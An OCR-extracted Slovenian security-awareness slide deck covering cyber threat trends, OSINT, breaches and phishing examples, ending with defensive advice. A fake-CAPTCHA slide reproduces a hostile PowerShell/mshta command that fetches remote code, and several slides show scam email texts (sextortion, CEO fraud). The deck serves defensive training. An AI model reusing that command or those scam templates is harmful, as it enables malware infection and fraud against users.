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OSti15 let izkuSenj s podrocja etictnega hekanja in kibernetske varn

Dosezeni strokovni nazivi:
. Certified Ethical Hacker — Master (CEH Master)
— Certified ethical hacker
—  Certified ethical hacker practical
Certified Network Defense Architect (CNDA)
Practical Network Penetration Tester (PNPT)
CompTIA Security Analytics Professional — CSAP
CompTIA Secure Infrastructure Expert - CSIE
CompTIA Security Analytics Expert (CSAE)
—  CompTIA Security+
—  CompTIA CySA+
— CompTIA Advanced Security Practitioner ce (CASP+)
— CompTIA Pentest+
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Kibernetske groznje, najaktualnejsi trendi in ranljivosti EU in SLO
Vrste napadov na organizacije in zaposlene
NajpogostejSe tehnike napadalcev preko socialnega inZeniringa

Napotki kako se zascititi
PriporocCila varne uporabe interneta



Kibernetske groznje EU

Figure 2: Breakdown of analysed incidents by threat type (July 2023 till June 2024)
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Vrste grozen;:

« Ransomware in groznje, ki vplivajo na
razpoloZljivost

* Vohunska zlonamerna programska oprema

« Socialni inzeniring — vishing, smishing,
phishing

* Ogrozanje dosegljivosti — DDOS/DOS napadi

* Manipulacija z informacijami

* Napadi na dobavno verigo

* Ranljivosti ni¢tega dne (0-day)

&



Kibernetske groznje v SLO

Na SI-CERT so v prvi polovici leta 2025 obravnavali skupno 2593 incidentov, kar je 24-odstotni porast v primerjavi s pr
vo polovico leta 2024
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Omrezje organizacije
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Kibernetske prevare — odzivi iz terena

V nasem podjetju nimamo nobenih zanimivih podatkov

Za napadalce nismo zanimivi

Nebi nas skrbelo, tudi e nam vdrejo ter poberejo vse podatke
Za naso informacijsko varnost je odgovoren zunaniji izvajalec
Za naso informacijsko varnost je odgovoren informatik

Za informacijsko varnost je odgovoren

vsak posameznik!



Tipi napadov po usmerjenosti (podjetja ali osebe)

Masovni napadi Ciljano usmerjeni napadi

* Napadalec ne ve niCesar o zrtvi Napadalec preuci zZrtev

« Masovno vdira v sisteme na spletu Ciljano napade organizacijo

* Upa na ¢im vecjo uspesSnost * Upa na uspesSnost

* Ne zanima ga vase poslovanje in vasi Zainteresiran je za vaSe podatke
podatki

¢ oL

PHISHING SPEAR-PHISHING
IS A BROAD, AUTOMATED ATTACK IS A CUSTOMIZED ATTACK ON A SPECIFIC
THAT IS LESS SOPHISTICATED. EMPLOYEE & COMPANY



Tipi napadov po usmerjenosti

Masovni napadi

Napad na HSE: znova primer malomarnega ravnanja z
digitalno varnostjo?

Ljubljana, 27.11.2023, 14:05 | Posodobljeno pred 6 dnevi

PREDVIDEN CAS BRANJA: 5 min

AVTOR KOMENTARJ D
E i 8 i anE

Holding Slovenske elektrarne se Se vedno pobira po enem najvedjih kibernetskih
napadov v zgodovini Slovenije. Neuradno smo izvedeli, da gre za zelo podobno
zgodbo kot v primeru napada na Upravo RS za zascito in reSevanje, kjer je bila praksa
varovanja podatkov zelo slaba. Tudi v HSE naj bi imeli gesla shranjena v 'oblaku’, od
koder so jih napadalci pobrali in zaklenili dostope. Po nasih informacijah za napadom
stojijo akterji, povezani s tujo drZavo, uporabljen pa je bil izsiljevalski virus Rhysida.

Ciljano usmerjeni napadi

| stovenua
Je bil hekerski napad na MZZ delo drZavnih hekerjev?

Ljubljana, 08.04.2023, 9:26 | Posodobljeno pred 8 meseci

PREDVIDEN CAS BRANJA: 3 min

2 o = n

Tezko je ugotoviti, kdo stoji za kibernetskimi napadi, o kakrénem so v petek porocali z
ministrstva za zunanje in evropske zadeve, je pa mogoce redi, da tovrstne napade
pogosto izvajajo ekipe zelo dobro usposobljenih hekerjev, ki so lahko sponzorirane od



Tipi napadov

Notranja groznja?




Nakljucna tarca ali prstni odtis




Pregled informacij iz javnih virov

[
Spletni
iskalniki
Pasivni
Namenske

strani

OSINT Dark Web

DNS

* Podatki o podjetju WEB

» Podatki o elektronskih naslovih SMTP
* Podatki o IKT infrastrukturi podjetja

* Podatki o zaposlenih

* Podatki, ki bi nam prisli kakorkoli prav pri izrabi
procesov, tehnologije in ljudi pri nasi tarci

&



Spletni iskalniki
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150 » AKCIjSKI paket |SDN 501 plus. Iovanj
+ Pogosta vpraSania - » ARCISKI paket ISON. 201 » Skupitina demicariev Telekoma STUTU
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» Modra Stevila (050) » Posebna penudba za narodnike » Telekom Siovenje in Stovensko - g
» ADSL - razpolodijve Pamelnega paketa (+) narodno gledaite Drama Manibor »OTROSKI KOTIEEK
Kapacnets » NAQI3UIEMG ZVESIONO RAroinikov skienila SpoNZzorsko FOgOTbo Samo za olroke.
+ Teletgovine 1SN + Nagrajenc nagradine igre v majskem
Katalogu Ugedna zveza > TURIZEM
Aktuaina ponudba » Nagrajenci nagradne igre ab izidu > TELETOSKE
Postanite naroénik ISDN in EISTOnSKega iMenika SIvenife 2004 SHIBA
prboange orl eegoverib! KOMUNIKACLS
a
¥ Paket 1SDN 701 Podpora uporabnikom »SVETOVNO
+ 24-uma brezpiacna tekefonska Stevilka Nagraana igra

» Pakel ISDN 702
» Paket ISDN. 703 23 uporabnd

» Pakel ISDN. 101
D PSS a1 (G asosaen)
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Elektronski naslovi

« Zakaj pride do nezelene elektronske poste

* Javno objavljeni elektronski naslovi

* Registracija v spletne storitve

* Kraja gesel

* Vdor v elektronski predal prejemnika nasega sporocila



Prijava v spletne storitve — registracijski

obrazec

= G

Vas naslov

Ime*
Priimek*
Ulica®

Higna Stevilka®

Poitna Stevilka*

Vasa izbrana poslovalnica

Poslovalnice v vadi blizini*

Datum vpisa

£-mail naslov*

Ponovite geslo*

Vas otrok

Podatki Vasega 1. otroka

Moj otrok*

izberite

Prosimo vnesi

Prosimo izberite

Password

123456

Hash Function

Hash = H{password)

base (Hex M

8531ab28b1ffc32016b5f38e7f650f7b

123456789

Hash = H{password)

4b9ff53081aee2h193e85a007c5bdf34

qwerty

Hash = H{password)

c45a108d730a41f40ff525b5a3b039bb

password

Hash = H{password)

0c6975129201c9956a91428a952923c4




Vdor v spletne strain ter aplikacije

Adobe

Date: October 2013

Impact: 153 million user records

Details: As reporied in early October of 2013 by security blogger Brian
Krebs, Adobe originally reported that hackers had stolen nearly 3 million
encrypted customer credit card records, plus login data for an
undetermined number of user accounts.

Adult Friend Finder

Date: October 2016

Impact: 412.2 million accounts

Details: This breach was particularly sensitive for account holders because
of the services the site offered. The FriendFinder Network, which included
casual hookup and adult content websites like Adult Friend Finder,
Penthouse.com, Cams.com, iCams.com and Stripshow.com, was breached
in mid-October 2016. The stolen data spanned 20 years on six databases

and included names, email addresses and passwords.
eBay

Date: May 2014

Impact: 145 million users

Details: eBay reported that an attack exposed its entire account list of 145
million users in May 2014, including names, addresses, dates of birth and
encrypted passwords. The online auction giant said hackers used the

credentials of three corporate employees to access its network and had
complete access for 229 days—more than enough time to compromise the

user database.

LinkedIn

Date: 2012 (and 2016)

Impact: 165 million user accounts

Details: As the major social network for business professionals, LinkedIn
has become an attractive proposition for attackers looking to conduct social
engineering attacks. However, it has also fallen victim to leaking user data

in the past.

In 2012 the company announced that 6.5 million unassociated passwords
(unsalted SHA-1 hashes) were stolen by attackers and posted onto a
Russian hacker forum. However, it wasn't until 2016 that the full extent of

Marriott International

Date: 2014-18

Impact: 500 million customers

Details: Marriott International announced in November 2018 that attackers
had stolen data on approximately 500 million customers. The breach
initially occurred on systems supporting Starwood hotel brands starting in
2014. The attackers remained in the system after Marriott acquired
Starwood in 2016 and were not discovered until September 2018.

MySpace

Date: 2013

Impact: 360 million user accounts

Details: Though it had long stopped being the powerhouse that it once
was, social media site MySpace hit the headlines in 2016 after 360 million
user accounts were leaked onto both LeakedSource (a searchable
databased of stolen accounts) and put up for sale on dark web market The
Real Deal with an asking price of 6 bitcoin (around $3,000 at the time).



Vasi podatki v
rokah
napadalcev

Ime in priimek

Ulica in hiSna Stevilka
Elektronski naslov

Geslo

Telefonska Stevilka

Ostali podatki, ki ste jih zaupali

Ne uporabljajte sluzbene elektronske poste
za vpis v zasebne storitve

Uporabljajte razli€na gesla za sluzbene ter
zasebne namene

Ko uporabljate spletne storitve ne pozabite
na zasebnost!



OSINT Uporabnika

https://www.youtube.com/watch?v=gYIPcmwSdmO0



OSINT Uporabnika

Ime: Miha

Priimek: Vzorec

Rojstni datum: 23.06.1979

Zena: Alenka

Sluzben elektronski naslov: miha.vzorec90@gmail.com

Starost: 44 let

Stevilo otrok: 2 — Tim in Mark

Stanujoc: Ljubljana, prava pot 1a

Hisni ljubljenCek: Zlati prinaSalec - Rex

Zaposlitev: Racunovodja v podjetju Vzorec d.o.o.
Glavna poslovna stranka: GO-LIX d.o.o.

Hobiji: plavanje, kolesarstvo, ribolov, smucanje
Uporabljene naprave: MacBook AIR 13.3 Laptop — Apple M1

Samsung — 55" Class 7 Series LED 4k UHD

&

Kaksno geslo za elektronsko posto bi lahko imel Miha?



Uporabljajte varna in mocna gesla

12 znakov ali ve€

Vsbuje velike in male Crke

Vsbuje vsaj eno Stevilko

Vsebuje vsaj 1 poseben znak ("#$%&/()=7%)
Ne vsebuje besede iz slovarja (slo-ang)
Ne vsebuje zaporednih kombinacij (1234, 1111, ..)
Ne vsebuje imena hisSnih ljubljenckov in druzinskih Clanov
|zogibajmo se rojstnim dnevom in letnicam

Uporaba vec faktorske avtentikacije



21 . . v
Uporabljajte varna in mocCna gesla

Varna gesla in redne menjave??
Poletje2024!
Jesen2024!
Zima2024!
Pomlad2025!
Poletje2025!



Socialni inzeniring



Koliko je vseh scenarijev prevar s socialnim
inzeniringom?

Google Workspace QR Code Scam Sharepoint Access Request Scam

Your organization requires Multi-Factor Authentication A «d Sonny wants to access 'Company Profile Pictures'

s
e @

Action Required

: | &
Seb from CaniPhish © Gar o i

Fd like access, please.

I'd like access, please

Google Workspace

Accept or Decline t

- hilps//Contoso Corp sharepoint convsites/Co ProfiePictreswebs1

Sonny Smith (sonoysmith@Contoso Corp.com!

Your organization requires Multi-Factor Autheatication.

Instagram Verification Scam

New login to Instagram from Chrome on Windows.

Zoom Invite Scam

Win An iPhone 15 QR Codeé Scam

Zoom Invite: Quarterly Al Hands

e @

zoom

56t om CariPhish
Give yous fecduack

John, we noticed a new login.

ter Quaranti @

d User Digest: 7 New Message

prilozeno.
jokumentacjo poiljte na ef
mudimo roka, Rok je do 2

Windows - Chrome - Bangkok, Thailand

RECEIVED EMAILS IN QUARANTINE

This is a 10 inform you that emails € been placed in quarantine

Status: Pending Analysis

Please review your quaruntine mailbox by folle the below steps NLB d.d.
1. Sign saantios mailbey 1’0\1»\.1[!]\ z malimi m;lulnjum podjetji, Savinjsko-Koroika regija
1, SI-3000 Celj

2. Click "Release” if the email is legitimate or "Block” if you suspect the email is spam or phishing

Emails in your quarantine mailbox will be permanently deleted within 7 days if action is not taken.

Top Employer Slovenia 2016—2020

Kind Regands.
IT Suppoct




Nevarnosti elektronske poste

1. Povezava
2. Priponka

3. Odtujitev osebnih podatkov



Zlonamerna elektronska posta

1. Finanéne transakcije ali nakazilo: Zzelimo vam nakazati veliko denarja.
Prosimo, poravnajte stroSke transakcije!

2. Kraja osebnih podatkov: zadeli ste na loteriji.
|zpolnite podatke, da vam posljemo nagrado!

3. Kraja gesel: preverite pravilnost podatkov, ki jih hrani vasa banka.
Kliknite tukaj, da se prijavite!

4. Okuzba rac¢unalnika: imate neplacan racun.
Prenesite in odprite priponko, da ga preverite!

5. Lazno izsiljevanje: vdrli smo vam v raCunalnik ter vas posneli pri gledanju porno
grafske vsebine  NakaZzite nam denar preko virtualne valute (bitcoin)

6. Lazna prijava na novice: Kliknite na povezavo in sledite navodilom. G



Phishing sporocila - izsiljevanje

Your password is "Miha.Postar23+" inbox x

tome v

' Miha Postar <miha.postar23@gmail.com>

This ¢ fr Miha Postar <miha.postar23@gmail.com> vord is "Miha.Postar23+"
to:  Miha Postar <miha.postar23@gmail.com>
You d¢ P @g 7 this electronic message, right?
Jun 13, 2023, 11:16 AM
I'mat Your password is “"Miha.Postar23+"
mailed-by:  gmail.com
Itwill | ly not possible, because | forwarded you this message using YOUR account that I've hacked.

Important mainly because it was sent directly to you.

| have set up maiware sur Ul TIE auUIT VIBEUS (PUITT) SIE dnu suppuse you tave erjuyed this website to enjoy it (you know what | want to say).

When you were watching videos, your internet browser started out functioning like a RDP (Remote Control) having a keylogger which granted me the ability to access your desktop and camera.
Next step, my software programgotall data.

You have put passwords on the web services you visited, and | sniffed them.

Needless to say, you could possibly change each of them, or have already modified them.

Even so it does not matter, my spyware renews information every 5 minutes.

What actually did | do?

| generated a reserve copy of the system. Of each file and contact lists.

| formed a dual-screen video file. The 1 part reveals the video you had been observing (you have got the perfect taste, wow...), and the 2nd part shows the video from your camera.

What actually must you do?

Great, | think, 4000 USD is basically a good price for our very little secret. You will do the payment by bitcoins (if you don't recognize this, search “how to buy bitcoin" in any search engine).

My bitcoin wallet address:



Phishing sporocila — zunanja posta

Anketa o zadovoljstvu inbox «

& Inbox 14

S o Toma Markelj

@®© Snoozed tome v

~  More Pozor! Zunanja pota. Bodite previdni pri odpiranju!
Labels + Pozdravijeni,

ker ste pred kratkim koristili nase storitve Vas vljudno vabimo na izpolnitev ankete o zadovoljstvu strank.

Povezava do ankete o zadovoljstvu strank,

Lep pozdrav,

Tomaz Markel]

N N
L\_ < Reply :) \'\_r—? Forward /‘I

https://qy3bewhSfsupersurvey.com




Phishing sporocila

—

: i s . S o ‘ } ) ) 3
Potrditev prijave na prejemanje e-sporogil o« Potrditev prijave na prejemanje e-sporogil o «
Uradni List RS <info@uradn-list.si> e-bilten@uradni-list.si
tome v W tome >

e (aonin

Prijava na prejemanje e-sporocil

Prijava na prejemanje e-sporocil

Pozdravljeni, Pozdravljeni,

z e-postnim om miha.postar2 il.com ste se prijavili na prejemanje e- z e-poitnim naslovom miha.postar23@gmail.com ste se prijavili na
sporocil Uradnega lista RS. prejemanje e-sporoéil Uradnega lista RS.

Kategorija e-sporocil: Novice. " o« N
gony P Kategorija e-sporofil: Novice.

Za potrditev prijave kliknite na spodnjo povezavo:
https://www.uradn-list si/data, ili i =9565a¢50-7f45-443a-8ae2-

Za potrditev prijave kliknite na spodnjo povezavo:

uradni-list.si 45-44

6f647a7c8f5e
bf6d7aTcafse

Hvala za vase zaupanje.
Uradhni list RS Hvala za vaée zaupanje.

Uradni list RS



Phishing sporocila — vrivanje v poslovno
komunikacijo

Placilni Nalog - Nujno inbox

Tomaz Markelj <tomaz.markelj@golix.eu>
tome =

Dobro jutrol Ali lahko danes platamo 10000 EUR?
LP

Tomaz Markelj, CEQ

Miha PoStar <miha postar23@gmail.coms
to Tomaz «

Mislim, da imamo e dovolj razpoloZljivih sredstev.

Gre za kak3en projekt?

IpM

Tomaz Markelj
tome v
Miha, prosim placaj zdaj, dokumente uredi kasneje.

Prejemnik: Centro Moya-Badillo

Naslov: Ruela Pichardo, 3, 38° D, 30761, La Jiménez
IBAN: ES2881906253985433730623

SWIFT: BBVAESMMXXX

Banka: BANCO BILBAQ VIZCAYA ARGENTARIA S.A.
Sklic: INV. 0023-21590

Znesek: 10.000 EUR

Prosim, podljite placila potrditev slip,

LP.



Phishing sporocila — izsiljevanje

=eur-PoL EC2_

STRUKTURE SODELOVANJA - EUROPOL - VARNOSTNA POLICUJA IN ZANDARMERLJA -
ZVEZNO MINISTRSTVO ZA PRAVOSODJE IN POLICIIO

Vabilo Za namene sodne preiskave
(&leni 227-22, 227-22-1, 227-23 in 227-24 2akonika o kazenskem postopku)

PREDMET: SODNI POSTOPKI

NATINF: OTROSKA PORNOGRAFUA
KIBERNETSKI PROSTOR: INTERNET

SKLIC NA POSTOPEK: 09656101560/2022

Sem gospa TATIANA BOBNAR, generalna direktorica slovenske policije v sodelovanju s Centralno direkeijo

Evropskega policijskega urada (EUROPOL).

Kmalu po zaplembi kibernetske infiltracije bomo proti vam sprofill pravni postopek za : Otrodka
pedofilija, in

V vednost vam izjavil, da bodo predvidene kazenske sankeije za kazniva
dejanja, ki jih predvideva hxenslu 2akonik, vigje, e bodo storjena prek telekomunikacijskega omreZja.

Ob koncu preiskave smo ugotovili, da ste med pogovori z mladoletniki, miajsimi od 16 let, storili ta kazniva
dejanja, in sicer posedovanje, gledanje, prenos in ogled slik, videoposnetkov ekshibicionistiéne narave in
otroike pornografije prek spleta.

Med preiskavo smo opazili tudi, da so se erotiéna sporoila ter prizori razkazovanja in masturbacije izvajali
prek spletnih kamer in takofinjega klepeta.

Ne smemo pozabiti, da ée je obscena vsebina na tak natin izpostavijena miadoletnikom, miafsim od 16 et,
gre za kaznivo dejanje spolnega ja, otrozke fije, pedofilije in
ki se strogo kaznuje po zakonu.

Stevilni elementi, ki jih zabeleZi kibernetska infiltracija, so pomemben dokaz o vasih kaznivih dejanjih.

Utemeljitve podljite po elektronski po3ti, da jih bomo lahko preudili in preverili. Ce nam ne boste ustregli,
bomo prisiljeni naie porodilo poslati driavnemu tofilstvu, ki bo izdalo nalog za vaZo aretacilo, ki ji bo sledila
takojinja aretacija s strani policije.

Nato boste vpisani v nacionalni register storilcev kaznivih dejanj zoper spolno nedotakljivost. V tem
primeru bo va3 spis posredovan tudi organizacijam za boj proti pedofilji in medijem.

GOSPA TATJANA BOBNAR
GENERALNI DIREKTOR SLOVENSKE POLICUE
SLOVENSKA NACIONALNA POLICUA
Headquarters Generalna policijska uprava, Stefanova 2, 1501

lU ROPOL Intervencija 7 dni na teden / 24 ur na dan




Phishing sporocila — priponke

Your Payment Has Been Charged - Amount Has Been Deducted nbox

Ntakirutimana Joseph <ntakirutimanajoseph30@gmail.com>
to bcc: me

Hello Sir,
Hope you are doing well

We are sending this mail to inform you that your amount has been deducted from your account
Please let us know if you have any further details about this transaction...

Invoice No - 8943 - KAJC - 9843

# Great day ahead

One attachment -« Scanned by Gmail ®

P PayPal INVOICE

Pryeaaceos e

@ {{[[ (( Converted ... '



Zlonamerna elektronska posta - priponke

Standart Yeni Siparis PO 354688976

From Karayel Cebrail on 2020-10-07 08:39
¥ Details = Plain text

[&) download.jpg (~9 KB) + [&) logo.png (~6 KB) v [ PO 354688976.is0 (~1018 KB) +

To protect your privacy remote resources have been blocked. m



Zlonamerna elektronska posta - priponke

H s RE Payment Remittance Advice - Message (Plain Text) T EH - 0O X
FILE MESSAGE

x Q“_ Reply i ¥ (Create New ; % Mark Unread )
-
@3_ Reply All 15 - W Categorize ~ .
Delete |_| Mowve Editing Zoom
I’_‘::",Fomrard - - ™ Follow Up~ -
Delete Respand Quick Steps ra Move Tags ra Zoom b

Maon 9/16/2019 7:52 AM

RE: Payment Remittance Advice

To

[ IWiessage | it UNTITLED 4088-7859318. doc (142 KB)

Your statement is attached. Please remit payment at your earliest convenience.

If you have questions on this please contact ivc for more information.



1.
Priprava
napada

2.
Okuzba
naprave

Koraki okuzbe

Napadal€eva interakcija

3. Prenos ddatne sSkodljive
prograniske opreme
(hping, exploiti, mimikatz,
ps¢ xec,,...)

6. IZSILJEVANJE z objavo
podatkov

5. Prenos
dodatne
Skodljive kode
(ransomware)

4. Lateralno
gibanje po
omrezju

>




Priporocila

Ne prenasamo datotek neznanih posiljateljev

Ne prenasamo in zaganjamo datotek prenesenih iz ne
zaupanja vrednega vira

Ne prenasamo datotek kot so exe, docm, xlsm, pptm,
vbs, (pdf), js, (zip, rar, 7z)

Redno posodabljamo vso programsko opremo
— Protivirusno programsko opremo

— Operacijski sistem

— Aplikacije (7
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onamerna elektronska posta

B EH © ) T L ¥ Potrebennujen odeiv - Message [HT.. O Search

File  Message Help

] Hm = Okey T ES] U Moveto: 7

f

& Iy N
Q. Dete Achive | ORPVAI =] Al ToManager g
< Sronwmd Chv  Apps D TeamEmai s
Delete Respond Apps Quitk Steps &

Potreben nujen odziv

Znacilen poskus
ustvarjanja
&asovnega pritiska.

P PayPal

Elektronski nasiov
posiljatelja ne pripada
podjetjuzakateregase
predstavija. Prav tako ni

enak prikaznemu imenu.

POTREBEN NUIJEN ODZIV

Dragi g. Peter Novak,

Pred kratkim smo vas prosili za pomoé pri reevanju teav z vagim PayPal ratunom.
Ker nismo prejeli valega odgovora, je uporaba valega ratuna zatasno delno omejena.

“

0

Reply

0 5% Q

Edting  Immersive  Tanslate  Zoom

Language = Zoom

) Reply Al

—> Forward | eee

da imprej izvedete preverbo ali morda kdo neavmrlzlran)

Zaznali smo namreé nekaj ) 5, zato vas nap
Slovniéne napake in
I ALl e rzreijo teave, vas naproZamo da vpiiate vva racun in preverite { Centru s redevanje teiav kako nam
ezika ter izbira
. atere funkcionalnosti vasega ratuna so g in katere so

napacnih izrazov.

Ceimate 8 ali

Hvala ker ste PayPal uporabnik.
Z lepimi pozdravi,
PayPal

‘Copyright © 1999.2024 PayPat. Allnghts reserved.

nata pomoZ, nas kontaktirajte. Z veseljem vam bomo pomagall.

B118249

arletCi SCA

Usfen-Sii-111

Za prikaz dejanskega
URL naslovase
zmisko pomaknite

nad povezavo.

P PHISHSTRIKE




Ali prepoznate zlonamerno povezavo?

Podjetje GO-LIX uporablja domeno golix.si.
Katere spodnje povezave pripadajo podjetju?

https://golix.freehosting.com/
https://Xbf.rst.si/golix/prijava/
https://golix.com/prijava/
http://go.lix.si/prijava/
https://geslo.golix.com/prijava
http://galix.si/en/prijava/
https://mail.golix.si/prijava/
https://slovenija.si/golix/predstavitev/prijava

O NO U A WNRE

P PHISHSTRIKE G
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Zgradba domene

Podjetje GO-LIX uporablja domeno golix.si.
Katere spodnje povezave pripadajo podjetju?

PODDOMENA

https:// (www|. |golix

DOMENSKA KONCNICA

DOMENA

P PHISHSTRIKE G




39

w

4

Zgradba URL naslova

https://learn.phishstrike.com/kaj-je-url-naslov/vsebina.php

0060 o0 00

Protokol (http/https): HTTP je kratica za Hypertext Transfer Protocol. Prek njega se pretakajo podatki med spletno
stranjo in obiskovalci. Poznamo tudi zavarovan protokol, imenuje se HTTPS (Hypertext Transfer Protocol Secure). Ce je
spletna stran na HTTPS protokolu Se ne pomeni, da je njena vsebina varna.

Poddomena: learn, ki vodi do samostojne spletne strani s to¢no doloc¢eno vsebino.

Domena (phishstrike.com): sestavljena iz imena domene (phishstrike) in domenske koncnice (.com).

Direktorij, kategorija ali podmapa (kaj-je-url-naslov): vsebine, locene od vstopne strani, in ker v URL-ju niso mozni
presledki, so posamezne besede med seboj povezane z vezajem.

Naslov ciljne vsebine (vsebina): gre za naslov opisa vsebine, ki je lo¢eno umescena na podstrani.

Vrsta datoteke (.php): v nekaterih primerih imamo na koncu tudi koncnico, ki predstavlja v katerem jeziku je stran napisana.
Te so .php, .aspx, .htmlin druge.

P PHISHSTRIKE v




Ali prepoznate zaglavja sporocila?

Prejeli ste elektronsko sporoCo poslovnega partnerja iz podjetja GO-LIX,
Kjer uporabljajo domeno golix.si. Katero zaglavje postnega sporocila je
legitimno

1. Franci Petek <franci.petek@golix.si>

2. Petek, Franci <franci.petek@golix.si>

3. Franci Petek<franci.petek.golix@gmail.com> Mrs Lia Ahil <liaahiloo@gmail.com>
4. Franci Petek <franci.petek@golix.com> faahioo@gmatl.com

5. Franci Petek <petek.franci@golix.eu> bostjan spehonja@gmail.com

6. Franci Petek <franci.petek@golix.s|> 9. okt. 2020 15:28

7. Peter Testni <franci.petek@golix.si> zdravo

8. Franci <franci.petek@golix.si> gmail.com

9 gmail.com

Franci Petek <poslovnipartner@golix.si>
10. Franci <info@golix.si>
11. Franci <franci@golix.si>

i3 Standardno Sifriranje (TLS) Vet o tem

P~ PHISHSTRIKE G
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Malicious ad

keepass X 4 & Q

Q Al [ Videos [ Images [ News ¢ Shopping i More Tools

About 3,130,000 results (0.27 seconds)

. N
( Sponsored malicious ad
O KeePass
https:/iwww.keepass.info  §
KeePass - Downloads
You can store all your passwords in one database. KeePass is a open source password

manager.
KeePass 2.51 Released - View Screenshots - For Downloads - KeePass 2.40 Released -
Feature List - KeePass 2.28 Released - First Steps Tutorial - KeePass 2.41 Released *

Translations - Technical FAQ

v

O KeePass
https:/ikeepass.info  §

KeePass Password Safe
KeePass is a free open source password manager, which helps you to manage your passwords
in a secure way. You can store all your passwords in one database, ... M




Captcha prevara

Incognito Relaunch to update :

[ Al Bookmr

Verify You Are Human

Please verify that you are a human to continue.

I'm not a robot

powershell.exe -eC
bOBzAGgAdABhACARaABOAHQACABZADOALWAVAHYAZQBYAGKAZGAUAGORLABZAGKAZABL
AGBAcWBMAHIAZQAUAGMALABPAGMAaWAVADIADgBKAGGACWBVAHIAdQRA=

powershell.exe mshta https://verif.dlvideosfre.click/2ndhsoru

Complete these
Verification Steps

) To better prove you are not a robot, please:
1. Press & hold the Windows Key 38 + R.
2. In the verification window, press Ctrl + V.
3. Press Enter on your keyboard to finish.

You will observe and agree:
"I an t a robot - reCAPTCHMA Verification ID

Perform the steps above to
finish verification



Vishing + Phishing

Vishing

www.educba.com

Phishing

GO-LIX



Posledice

Sratovski gasilci ostali brez denarija.
Prevaranti izpraznili tudi banc¢ni racun
predsednika drustva in njegovih otrok

VESTNIK & Damjana Nemes ® 14.8.2025,13.25 £ 14:31

Deliclanek § @ o8 Velikost pisave — o +

Predsednik je bil pooblas¢ena oseba za vec racunoy, ki so jih prevaranti

hkrati izpraznili.




V primeru suma okuzbe delovne postaje

Nemudoma izklopite napravo iz internetne povezave
(Kabel + WiFi)

Cim prej izklopite radunalnik (3e posebej, e nimate
izdelane varnostne kopije)

Obvestite sluzbo za informatiko

Zamenjajte gesla na neokuzeni elektronski napravi — tudi
tista, shranjena v brskalnikih

Pozanimajte se o planu odziva na incident

&



V primeru zaznane prevare

Kontaktirajte banko in blokirajte vse svoje raCcune
Zamenjajte vsa gesla

Podajte prijavo na policijo

Obrnite se po pomoc¢ na SICERT



@ Hvala za pozornost

G 0 -LIX Bostjan.Spehonja@golix.si

m Bostjan.Spehonja
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